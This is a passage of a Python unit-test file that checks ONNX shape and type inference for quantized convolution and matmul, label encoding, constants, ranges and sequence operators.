TensorProto.INT32, (30, 50, 6, 3, 2))]) def test_convineteger_pads(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 7, 6, 4)), ('y', TensorProto.INT8, (50, 4, 3, 3, 3))], [make_node('ConvInteger', ['x', 'y'], 'z', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.INT32, (30, 50, 6, 6, 6))]) def test_convineteger_group(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT8, (30, 4, 8, 8, 8)), ('y', TensorProto.INT8, (4, 1, 8, 8, 8))], [make_node('ConvInteger', ['x', 'y'], 'z', group=4)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.INT32, (30, 4, 1, 1, 1))]) def test_convineteger_partial_missing_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, None, 6, 4)), ('y', TensorProto.UINT8, (50, 4, 3, 3, 3)), ('x_zero_point', TensorProto.UINT8, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('ConvInteger', ['x', 'y', 'x_zero_point', 'y_zero_point'], 'z', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.INT32, (30, 50, None, 6, 6))]) # type: ignore def test_convineteger_partial_missing_weight_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 7, 6, 4)), ('y', TensorProto.UINT8, (50, 4, None, 3, 3))], [make_node('ConvInteger', ['x', 'y'], 'z', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.INT32, None)]) def test_qlinearconv(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (3, 4, 5, 6, 7)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.UINT8, ()), ('w', TensorProto.UINT8, (5, 4, 2, 4, 3)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.UINT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', pads=[0, 1, 1, 0, 0, 1], dilations=[1, 2, 2], strides=[1, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (3, 5, 4, 1, 3))]) def test_qlinearconv_dilations(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 8, 8, 8)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.UINT8, ()), ('w', TensorProto.UINT8, (50, 4, 3, 3, 3)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.UINT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', dilations=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (30, 50, 6, 4, 2))]) def test_qlinearconv_strides(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT8, (30, 4, 8, 8, 8)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.INT8, ()), ('w', TensorProto.INT8, (50, 4, 3, 3, 3)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.INT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.INT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', strides=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT8, (30, 50, 6, 3, 2))]) def test_qlinearconv_pads(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 7, 6, 4)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.UINT8, ()), ('w', TensorProto.INT8, (50, 4, 3, 3, 3)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.INT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (30, 50, 6, 6, 6))]) def test_qlinearconv_group(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT8, (30, 4, 8, 8, 8)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.INT8, ()), ('w', TensorProto.INT8, (4, 1, 8, 8, 8)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.INT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.INT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', group=4)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT8, (30, 4, 1, 1, 1))]) def test_qlinearconv_partial_missing_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, None, 6, 4)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.UINT8, ()), ('w', TensorProto.UINT8, (50, 4, 3, 3, 3)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.UINT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (30, 50, None, 6, 6))]) # type: ignore def test_qlinearconv_partial_missing_weight_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 7, 6, 4)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.UINT8, ()), ('w', TensorProto.UINT8, (50, 4, None, 3, 3)), ('w_scale', TensorProto.FLOAT, ()), ('w_zero_point', TensorProto.UINT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearConv', ['x', 'x_scale', 'x_zero_point', 'w', 'w_scale', 'w_zero_point', 'y_scale', 'y_zero_point'], 'y', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, None)]) def _make_qlinearmatmul_test(self, shape1, shape2): # type: (Sequence[int], Sequence[int]) -> None expected_out_shape = np.matmul(np.arange(np.product(shape1)).reshape(shape1), np.arange(np.product(shape2)).reshape(shape2)).shape graph = self._make_graph( [('a', TensorProto.UINT8, shape1), ('a_scale', TensorProto.FLOAT, ()), ('a_zero_point', TensorProto.UINT8, ()), ('b', TensorProto.UINT8, shape2), ('b_scale', TensorProto.FLOAT, ()), ('b_zero_point', TensorProto.UINT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearMatMul', ['a', 'a_scale', 'a_zero_point', 'b', 'b_scale', 'b_zero_point', 'y_scale', 'y_zero_point'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, expected_out_shape)]) def test_qlinearmatmul(self): # type: () -> None self._make_qlinearmatmul_test((3,), (3,)) self._make_qlinearmatmul_test((4, 2), (2, 4)) self._make_qlinearmatmul_test((2,), (2, 3)) self._make_qlinearmatmul_test((4, 2), (2,)) self._make_qlinearmatmul_test((5, 1, 4, 2), (1, 3, 2, 3)) self._make_qlinearmatmul_test((4, 2), (3, 2, 3)) def _make_qlinearmatmul_test_allow_unknown(self, shape1, shape2, expected_out_shape): # type: (Any, Any, Any) -> None graph = self._make_graph( [('a', TensorProto.UINT8, shape1), ('a_scale', TensorProto.FLOAT, ()), ('a_zero_point', TensorProto.UINT8, ()), ('b', TensorProto.UINT8, shape2), ('b_scale', TensorProto.FLOAT, ()), ('b_zero_point', TensorProto.UINT8, ()), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QLinearMatMul', ['a', 'a_scale', 'a_zero_point', 'b', 'b_scale', 'b_zero_point', 'y_scale', 'y_zero_point'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, expected_out_shape)]) def test_qlinearmatmul_allow_unknown(self): # type: () -> None self._make_qlinearmatmul_test_allow_unknown((None,), (None,), ()) self._make_qlinearmatmul_test_allow_unknown((3,), (None,), ()) self._make_qlinearmatmul_test_allow_unknown((2,), (2, "a"), ("a",)) self._make_qlinearmatmul_test_allow_unknown((4, 2), (2, "a"), (4, "a")) self._make_qlinearmatmul_test_allow_unknown((4, None), (2, "a"), (4, "a")) self._make_qlinearmatmul_test_allow_unknown((4, None), (None, "a"), (4, "a")) self._make_qlinearmatmul_test_allow_unknown((1, 4, 2), ("a", 2, 5), ("a", 4, 5)) self._make_qlinearmatmul_test_allow_unknown((1, 3, 4, 2), ("a", 2, 5), (1, 3, 4, 5)) self._make_qlinearmatmul_test_allow_unknown(None, ("a", 2, 5), None) self._make_qlinearmatmul_test_allow_unknown(None, None, None) def _make_matmulinteger_test(self, shape1, shape2): # type: (Sequence[int], Sequence[int]) -> None expected_out_shape = np.matmul(np.arange(np.product(shape1)).reshape(shape1), np.arange(np.product(shape2)).reshape(shape2)).shape graph = self._make_graph( [('A', TensorProto.UINT8, shape1), ('B', TensorProto.UINT8, shape2), ('a_zero_point', TensorProto.UINT8, ()), ('b_zero_point', TensorProto.UINT8, ())], [make_node('MatMulInteger', ['A', 'B', 'a_zero_point', 'b_zero_point'], ['Y'])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.INT32, expected_out_shape)]) def test_matmulinteger(self): # type: () -> None self._make_matmulinteger_test((2,), (2,)) self._make_matmulinteger_test((1, 2), (2, 3)) self._make_matmulinteger_test((2,), (2, 3)) self._make_matmulinteger_test((4, 2), (2,)) self._make_matmulinteger_test((5, 1, 4, 2), (1, 3, 2, 3)) self._make_matmulinteger_test((4, 2), (3, 2, 3)) def test_quantizelinear(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5)), ('y_scale', TensorProto.FLOAT, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('QuantizeLinear', ['x', 'y_scale', 'y_zero_point'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (30, 4, 5))]) def test_dequantizelinear(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 5)), ('x_scale', TensorProto.FLOAT, ()), ('x_zero_point', TensorProto.UINT8, ())], [make_node('DequantizeLinear', ['x', 'x_scale', 'x_zero_point'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (30, 4, 5))]) def test_reversesequence(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('sequence_lens', TensorProto.INT64, (5,))], [make_node('ReverseSequence', ['x', 'sequence_lens'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (4, 5, 6))]) def test_unique_without_axis(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (2, 4, 2))], [make_node('Unique', ['X'], ['Y', 'indices', 'inverse_indices', 'counts'])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (None,)), # type: ignore make_tensor_value_info('indices', TensorProto.INT64, (None,)), # type: ignore make_tensor_value_info('inverse_indices', TensorProto.INT64, (None,)), # type: ignore make_tensor_value_info('counts', TensorProto.INT64, (None,))]) # type: ignore def test_unique_with_axis(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (2, 4, 2))], [make_node('Unique', ['X'], ['Y', 'indices', 'inverse_indices', 'counts'], axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (2, None, 2)), # type: ignore make_tensor_value_info('indices', TensorProto.INT64, (None,)), # type: ignore make_tensor_value_info('inverse_indices', TensorProto.INT64, (None,)), # type: ignore make_tensor_value_info('counts', TensorProto.INT64, (None,))]) # type: ignore def test_det(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (3, 3))], [make_node('Det', ['X'], ['Y'])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, ())]) graph = self._make_graph( [('X', TensorProto.FLOAT, (4, 5, 6, 7, 7))], [make_node('Det', ['X'], ['Y'])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (4, 5, 6))]) def test_tile(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('repeats', TensorProto.INT64, (3,))], [make_node('Tile', ['x', 'repeats'], ['y'])], [], initializer=[make_tensor('repeats', TensorProto.INT64, (3,), (1, 2, 3))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (4, 10, 18))]) def test_tile_raw_input_data(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('repeats', TensorProto.INT64, (3,))], [make_node('Tile', ['x', 'repeats'], ['y'])], [], initializer=[make_tensor('repeats', TensorProto.INT64, (3,), vals=np.array([1, 2, 3], dtype='<i8').tobytes(), raw=True)]) # Feed raw bytes (force little endian ordering like onnx standard) for test purpose self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (4, 10, 18))]) def test_tile_rank_inference(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('repeats', TensorProto.INT64, (3,))], [make_node('Tile', ['x', 'repeats'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (None, None, None))]) # type: ignore def test_linearclassifier_1D_input(self): # type: () -> None if ONNX_ML: graph = self._make_graph( [('x', TensorProto.FLOAT, (5,))], [make_node('LinearClassifier', ['x'], ['y', 'z'], domain=ONNX_ML_DOMAIN, coefficients=[0.0008, -0.0008], intercepts=[2.0, 2.0], classlabels_ints=[1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (1,)), make_tensor_value_info('z', TensorProto.FLOAT, (1, 2))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 1), make_opsetid(ONNX_DOMAIN, 11)]) def test_linearclassifier_2D_input(self): # type: () -> None if ONNX_ML: graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5))], [make_node('LinearClassifier', ['x'], ['y', 'z'], domain=ONNX_ML_DOMAIN, coefficients=[0.1, 0.2, 0.3, 0.4, 0.5, 0.6], intercepts=[2.0, 2.0, 3.0], classlabels_ints=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (4,)), make_tensor_value_info('z', TensorProto.FLOAT, (4, 3))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 1), make_opsetid(ONNX_DOMAIN, 11)]) def test_roialign_symbolic(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, ('N', 'C', 'H', 'W')), ('rois', TensorProto.FLOAT, ('num_rois', 4)), ('batch_indices', TensorProto.INT64, ('num_rois',))], [make_node('RoiAlign', ['x', 'rois', 'batch_indices'], ['y'], output_height=10, output_width=5)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, ('num_rois', 'C', 10, 5))]) # type: ignore def test_roialign_symbolic_defaults(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, ('N', 'C', 'H', 'W')), ('rois', TensorProto.FLOAT, ('num_rois', 4)), ('batch_indices', TensorProto.INT64, ('num_rois',))], [make_node('RoiAlign', ['x', 'rois', 'batch_indices'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, ('num_rois', 'C', 1, 1))]) # type: ignore def test_roialign_num_rois(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, ('N', 'C', 'H', 'W')), ('rois', TensorProto.FLOAT, ('num_rois', 4)), ('batch_indices', TensorProto.INT64, (15,))], [make_node('RoiAlign', ['x', 'rois', 'batch_indices'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (15, 'C', 1, 1))]) # type: ignore def test_label_encoder_string_int64(self): # type: () -> None if ONNX_ML: string_list = ['A', 'm', 'y'] float_list = [94.17, 36.00] int64_list = [12, 28, 86] graph = self._make_graph( [('x', TensorProto.STRING, (6, 1))], [make_node('LabelEncoder', ['x'], ['y'], domain=ONNX_ML_DOMAIN, keys_strings=string_list, values_int64s=int64_list)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (6, 1))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 2), make_opsetid(ONNX_DOMAIN, 11)]) graph = self._make_graph( [('x', TensorProto.INT64, (2, 3))], [make_node('LabelEncoder', ['x'], ['y'], domain=ONNX_ML_DOMAIN, keys_int64s=int64_list, values_strings=string_list)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.STRING, (2, 3))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 2), make_opsetid(ONNX_DOMAIN, 11)]) graph = self._make_graph( [('x', TensorProto.FLOAT, (2,))], [make_node('LabelEncoder', ['x'], ['y'], domain=ONNX_ML_DOMAIN, keys_floats=float_list, values_int64s=int64_list)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (2,))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 2), make_opsetid(ONNX_DOMAIN, 11)]) graph = self._make_graph( [('x', TensorProto.INT64, (8,))], [make_node('LabelEncoder', ['x'], ['y'], domain=ONNX_ML_DOMAIN, keys_int64s=int64_list, values_floats=float_list)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (8,))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 2), make_opsetid(ONNX_DOMAIN, 11)]) graph = self._make_graph( [('x', TensorProto.FLOAT, ())], [make_node('LabelEncoder', ['x'], ['y'], domain=ONNX_ML_DOMAIN, keys_floats=float_list, values_strings=string_list)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.STRING, ())], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 2), make_opsetid(ONNX_DOMAIN, 11)]) graph = self._make_graph( [('x', TensorProto.STRING, (1, 2))], [make_node('LabelEncoder', ['x'], ['y'], domain=ONNX_ML_DOMAIN, keys_strings=string_list, values_floats=float_list)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 2))], opset_imports=[make_opsetid(ONNX_ML_DOMAIN, 2), make_opsetid(ONNX_DOMAIN, 11)]) def make_sparse(self, shape, # type: Sequence[int] values, # type: Sequence[int] indices_shape, # type: Sequence[int] indices # type: Sequence[int] ): # type: (...) -> SparseTensorProto sparse = SparseTensorProto() sparse.dims.extend(shape) nnz = len(values) sparse.values.CopyFrom(helper.make_tensor('spval', TensorProto.INT64, (nnz,), values)) sparse.indices.CopyFrom(helper.make_tensor('spind', TensorProto.INT64, indices_shape, indices)) return sparse def test_constant_sparse(self): # type: () -> None y_shape = [100] y_value = self.make_sparse(y_shape, [13, 17, 19], [3], [9, 27, 81]) graph = self._make_graph( [], [make_node('Constant', [], ['y'], sparse_value=y_value)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, y_shape)]) # type: ignore def test_constant_value_int(self): # type: () -> None graph = self._make_graph( [], [make_node('Constant', [], ['y'], value_int=42)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, [])]) def test_constant_value_ints(self): # type: () -> None value_ints = [1, 2, 3] graph = self._make_graph( [], [make_node('Constant', [], ['y'], value_ints=value_ints)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, [len(value_ints)])]) def test_constant_value_float(self): # type: () -> None graph = self._make_graph( [], [make_node('Constant', [], ['y'], value_float=1.42)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, [])]) def test_constant_value_floats(self): # type: () -> None value_floats = [1.0, 1.1, 1.2] graph = self._make_graph( [], [make_node('Constant', [], ['y'], value_floats=value_floats)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, [len(value_floats)])]) def test_constant_value_string(self): # type: () -> None graph = self._make_graph( [], [make_node('Constant', [], ['y'], value_string="String value")], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.STRING, [])]) def test_constant_value_strings(self): # type: () -> None value_strings = ["o", "n", "n", "x"] graph = self._make_graph( [], [make_node('Constant', [], ['y'], value_strings=value_strings)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.STRING, [len(value_strings)])]) def test_range(self): # type: () -> None graph = self._make_graph( [('start', TensorProto.FLOAT, ()), ('limit', TensorProto.FLOAT, ()), ('delta', TensorProto.FLOAT, ())], [make_node('Range', ['start', 'limit', 'delta'], ['output'])], [], initializer=[make_tensor('start', TensorProto.FLOAT, (), (1,)), make_tensor('limit', TensorProto.FLOAT, (), (5,)), make_tensor('delta', TensorProto.FLOAT, (), (2,))]) self._assert_inferred(graph, [make_tensor_value_info('output', TensorProto.FLOAT, (2,))]) def test_range_rank_inference(self): # type: () -> None graph = self._make_graph( [('start', TensorProto.INT32, ()), ('limit', TensorProto.INT32, ()), ('delta', TensorProto.INT32, ())], [make_node('Range', ['start', 'limit', 'delta'], ['output'])], [], initializer=[make_tensor('start', TensorProto.INT32, (), (1,)), make_tensor('limit', TensorProto.INT32, (), (5,))]) # Missing 'delta' initializer self._assert_inferred(graph, [make_tensor_value_info('output', TensorProto.INT32, (None,))]) # type: ignore def test_gathernd(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('indices', TensorProto.INT64, (2,))], [make_node('GatherND', ['x', 'indices'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (6,))]) def test_gathernd_batchdim_1(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 2, 2)), ('indices', TensorProto.INT64, (2, 1))], [make_node('GatherND', ['x', 'indices'], ['y'], batch_dims=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 2))]) def test_cumsum(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3)), ('axis', TensorProto.FLOAT, (1,))], [make_node('CumSum', ['x', 'axis'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, 3))]) def test_nonmaxsuppression(self): # type: () -> None graph = self._make_graph( [('boxes', TensorProto.FLOAT, (1, 3, 4)), ('scores', TensorProto.FLOAT, (1, 5, 3))], [make_node('NonMaxSuppression', ['boxes', 'scores'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (None, 3))]) # type: ignore def test_sequence_empty(self): # type: () -> None graph = self._make_graph( [], [make_node('SequenceEmpty', [], ['output'])], []) self._assert_inferred(graph, [make_sequence_value_info('output', TensorProto.FLOAT, None)]) # type: ignore def test_sequence_construct(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 3, 4))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['output_sequence'])], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, 3, 4))]) # type: ignore def test_sequence_construct_one_input(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4))], [make_node('SequenceConstruct', ['input1'], ['output_sequence'])], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, 3, 4))]) # type: ignore def test_sequence_construct_diff_rank(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3)), ('input3', TensorProto.FLOAT, (2, 3))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['output_sequence'])], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, None)]) # type: ignore def test_sequence_construct_diff_dim_size(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 5)), ('input3', TensorProto.FLOAT, (2, 3, 6))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['output_sequence'])], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, 3, None))]) # type: ignore def test_sequence_insert(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 3, 4)), ('input4', TensorProto.FLOAT, (2, 3, 4))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceInsert', ['in_sequence', 'input4'], ['output_sequence'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 4)), make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, 3, 4))]) # type: ignore def test_sequence_insert_diff_rank(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 3, 4)), ('input4', TensorProto.FLOAT, (2, 3))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceInsert', ['in_sequence', 'input4'], ['output_sequence'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 4)), make_sequence_value_info('output_sequence', TensorProto.FLOAT, None)]) # type: ignore def test_sequence_insert_diff_shape(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 5, 4)), ('input4', TensorProto.FLOAT, (2, 5, 2))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceInsert', ['in_sequence', 'input4'], ['output_sequence'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, None, 4)), # type: ignore make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, None, None))]) # type: ignore def test_sequence_at(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 3, 4)), ('ind', TensorProto.INT64, ())], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceAt', ['in_sequence', 'ind'], ['output'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 4)), make_tensor_value_info('output', TensorProto.FLOAT, (2, 3, 4))]) # type: ignore def test_sequence_at_unknown_shape(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3)), ('input3', TensorProto.FLOAT, (2, 3, 4)), ('ind', TensorProto.INT64, ())], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceAt', ['in_sequence', 'ind'], ['output'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, None), make_tensor_value_info('output', TensorProto.FLOAT, None)]) # type: ignore def test_sequence_at_unknown_dim_size(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 5)), ('input3', TensorProto.FLOAT, (2, 3, 4)), ('ind', TensorProto.INT64, ())], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceAt', ['in_sequence', 'ind'], ['output'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, None)), # type: ignore make_tensor_value_info('output', TensorProto.FLOAT, (2, 3, None))]) # type: ignore def test_sequence_erase(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 3, 4)), ('ind', TensorProto.INT64, ())], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceErase', ['in_sequence', 'ind'], ['output_sequence'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 4)), make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, 3, 4))]) # type: ignore def test_sequence_erase_diff_dim_size(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 3, 'x')), ('input3', TensorProto.FLOAT, (2, 5, 'x')), ('ind', TensorProto.INT64, ())], [make_node('SequenceConstruct', ['input1', 'input2', 